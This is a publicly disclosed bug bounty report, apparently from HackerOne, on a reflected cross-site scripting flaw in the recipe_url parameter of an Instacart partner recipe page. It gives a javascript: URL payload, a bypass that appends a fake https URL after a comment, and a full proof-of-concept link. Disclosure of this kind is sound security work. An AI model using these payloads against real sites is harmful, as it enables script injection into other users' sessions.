Instacart · Report #196221

XSS in instacart.com/store/partner_recipe

Validstatus

mediumseverity

$100bounty

15upvotes

11 May 2017disclosed

Summary

The recipe_url parameter would reflect anything inside an href attribute, you only had to inject javascript:alert(1) and had to click on the link to execute the payload.

I was able to bypass this later by using javascript:alert(1)//https://example.com, Thanks to instacart for the quick fix and bounty. :)

How it was found

Please open the following url

https://www.instacart.com/store/partner_recipe?recipe_url=javascript:alert(1)&partner_name=&ingredients%5B%5D=apples&ingredients%5B%5D=butter&ingredients%5B%5D=Splenda+Brown+Sugar+Blend&ingredients%5B%5D=cinnamon&ingredients%5B%5D=nutmeg&title=Barb%27s+Fried+Apples+-Diabetic-Low+Fat&description=&image_url=%2Fassets%2Fimg%2Fno-recipe-image.jpg

and click on the "Barb's Fried Apples -Diabetic-Low Fat" image to trigger the payload.

The affected parameter is recipe_url

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original